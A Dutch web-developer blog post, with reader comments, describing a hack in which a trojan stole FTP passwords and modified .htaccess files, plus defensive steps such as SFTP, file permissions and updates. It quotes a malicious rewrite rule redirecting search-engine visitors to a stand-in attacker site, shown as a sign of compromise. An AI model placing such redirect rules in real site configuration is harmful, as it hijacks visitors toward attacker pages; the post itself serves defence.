english English

Is je website beveiligd tegen iframe hacks?

Sinds enkele weken is er een buzz op het internet over websites die gehackt kunnen worden zonder ook maar een spoor van een mogelijke aanval achter te laten. Iedere webdeveloper zat toen wel even op het puntje van zijn stoel met zijn vingers gekruist in de hoop dat hij niet het volgende slachtoffer zou worden. Stel je voor dat een hacker gemakkelijk zonder een spoor achter te laten eender welke website kon hacken of blootstellen.

Het eerste teken van een hack wat we konden terugvinden op de servers was dat het .htaccess bestand was aangepast. Hierin stonden enkele regels code die bezoekers, die via een zoekmachine op de website terecht kwamen, doorverwezen naar een pagina van de hacker.

Deze rewrite code kan er als volgt uitzien:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR] 
RewriteRule .* http://hacker.xx/in.html?= [R,L] 

Hoe de hackers te werk gingen wist toen nog niemand en ook met googelen geraakte je geen stap verder. Je moest dus zelf uitzoeken hoe dit probleem werd veroorzaakt. Het beste wat je kon doen was al je FTP wachtwoorden veranderen en je PC scannen op virussen. Dit was natuurlijk geen veilige oplossing want als een hacker één keer zonder wachtwoord op je server geraakt zal dat gerust nog wel een 2de keer lukken.

Nu zijn we enkele dagen verder en zijn er al tientallen blogposts op het internet te vinden over hoe dit heeft kunnen gebeuren en hoe je dit probleem kan voorkomen in de toekomst. De oorzaak is een trojan virus wat op je pc staat en zichzelf toegang verleent tot je FTP accounts (bron: unmaskparasites). Omdat waarschijnlijk niet iedereen alle technische details wil weten leg ik dit in enkele stappen even uit hoe je je website snel kan beschermen tegen deze hack.

  1. Controleer eerst of je website gehackt is. Dat kan via de UnmaskParasites website.
  2. Gebruik SFTP om in te loggen in plaats van FTP, FTP stuurt namelijk alle data in leesbare tekst door, SFTP zal de verzonden data encrypten waardoor het moeilijker is voor hackers om deze gevoelige data te achterhalen.
  3. Verander je FTP wachtwoorden, zorg voor een sterk wachtwoord. Minstens 7 karakters is aangeraden
  4. Zorg ervoor dat mappen chmod 755 hebben en bestanden 644 rechten hebben. Zo zorg je ervoor dat hackers geen bestanden kunnen aanpassen via exploits in webapplicaties.
  5. Update je scripts regelmatig. De programmeurs van Wordpress, PhpBB en andere scripts geven geregeld updates van hun systeem uit, maak hier zeker gebruik van. Zo ben je zeker dat je website beschermd is tegen mogelijk oudere bugs of lekken in het systeem.

Wat je zeker niet mag vergeten is dat vele scripts open source zijn. Iedereen kan de code achter Wordpress, PhpBB, etc ... bekijken en mogelijke zwakke punten uitbuiten. De boodschap is dus: wees altijd op je hoede als je belangrijke websites op deze open source applicaties laat draaien.

Met dank aan @combell voor een snelle oplossing van deze hack en @maartenMachiels voor de extra informatie!

Meer informatie over deze hack:

RSS reacties feed

7 reacties tot nu toe

Maarten Tibau

Maarten Tibau zei 1 jaar geleden:

Zeer interessante post, maar wat ik dan zeer graag eens zou willen weten is wat Combell dan precies heeft gedaan om't probleem op te lossen, want de oplossingen die jij aangeeft zijn nu vooral gericht op wat jezelf kan doen.
Peter

Peter zei 1 jaar geleden:

Probleem ook gehad bij een klant. Zou kunnen dat het een virus is die de paswoorden van bekende ftp-programma's bemachtigt. Meer info: http://www.bitdefender.com/VIRUS-1000383-en--Trojan.PWS.Tupai.A.html
David Candreva

David Candreva zei 1 jaar geleden:

@Maarten Combell heeft ons in eerste instantie in een vroeg stadium ingelicht over dit probleem en is samen met ons op zoek geweest naar mogelijke oplossingen om dit probleem tegen te gaan. Aangezien toen niemand wist dat dit om een virus ging hebben ze ons tips gegeven om ervoor te zorgen dat ons netwerk ten alle tijden veilig was en steeds is.

@Peter dit is inderdaad een Backdoor Trojan. Er zijn ondertussen zeer veel (verschillende) artikels op het internet te vinden.
Bart Vandebeek

Bart Vandebeek zei 1 jaar geleden:

Wat zeker ook het vermelden waard is, is dat het virus "Gumblar" gebruik maakt(e) van lekken in Adobe Flash en Adobe Acrobat Reader. Doe dus zeker een update van beiden.

Controleer je pc uitgebreid, check de toegangsattributen van de (besmette) bestanden en mappen op de server, ... en doe ook even deze test: http://blog.scansafe.com/journal/?currentPage=2 . De nieuwe versie van dit virus is venijniger!
Jan Schepmans

Jan Schepmans zei 1 jaar geleden:

De titel klopt niet echt met de inhoud van de blogpost. Uiteindelijk gaat het in deze blog niet om slecht beveiligde websites, maar wel om onbeveiligde PC's waarmee virussen de vrije gang krijgen.
Maarten Machiels

Maarten Machiels zei 1 jaar geleden:

Interessant artikel! Dit was een ongezien gevaar, niet alle threats werden herkend, zelfs niet door de beste anti-malware software. Het gaat niet om één enkel virus, ik lees dat er verschillende virussen hetzelfde veroorzaakten, allemaal rond deze tijd. Het is duidelijk dat webontwikkelaars getarget werden. Checken en dubbelchecken is de boodschap.
markla

markla zei 1 jaar geleden:

is chmod 751 beter dan 755?

Reageer op dit artikel

Toegelaten tags: <a href="" title=""> <code> <em> <strong>

RSS Feed

Bekijk alle tags

Laatste reacties

  • Pieter Brat: Mooi artikel. Wij gebruiken zelf Google Apps Premier edition. Ik heb nog niet de kans gehad...
  • Santhos Webdesign: Komt me bekend voor dit. Ik onderschat het iedere keer weer... nu ff niet... snap ik later ook...
  • Jan Peeters: Allemaal waar, maar.... Het hangt er ook wel van af in welke ontwikkelomgeving je werkt. OK voor...
  • Maarten Tibau: Documentatie in code is inderdaad ZEER belangrijk. Ik betrap me er soms zelf nog op dat ik dit...
  • Sacha Vandekerckhove: Over het algemeen ben ik het met je eens (prima artikel ook ;). Maar..., Op de afbeelding...